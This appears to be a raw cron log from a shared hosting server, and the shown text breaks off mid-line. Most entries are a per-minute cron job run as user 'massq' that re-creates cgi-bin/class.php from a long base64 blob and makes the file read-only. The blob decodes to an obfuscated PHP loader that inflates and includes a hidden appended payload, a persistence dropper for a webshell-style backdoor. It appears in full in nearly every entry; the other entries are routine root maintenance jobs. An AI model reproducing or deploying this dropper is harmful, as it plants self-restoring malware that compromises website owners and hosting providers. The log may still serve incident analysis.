Apr  8 12:27:01 server CROND[20917]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:28:01 server CROND[20988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:29:01 server CROND[21052]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:30:01 server CROND[21231]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 12:30:01 server CROND[21232]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 12:30:01 server CROND[21234]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 12:30:01 server CROND[21235]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr  8 12:30:01 server CROND[21236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:31:01 server CROND[21374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:32:01 server CROND[21439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:33:01 server CROND[21527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:34:01 server CROND[21586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:35:01 server CROND[21648]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  8 12:35:01 server CROND[21652]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 12:35:01 server CROND[21653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:35:01 server CROND[21654]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 12:35:01 server CROND[21655]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 12:36:01 server CROND[21896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:37:01 server CROND[21967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:38:01 server CROND[22043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:39:01 server CROND[22126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:39:01 server CROND[22127]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 12:40:01 server CROND[22214]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 12:40:01 server CROND[22216]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 12:40:01 server CROND[22215]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 12:40:01 server CROND[22219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJf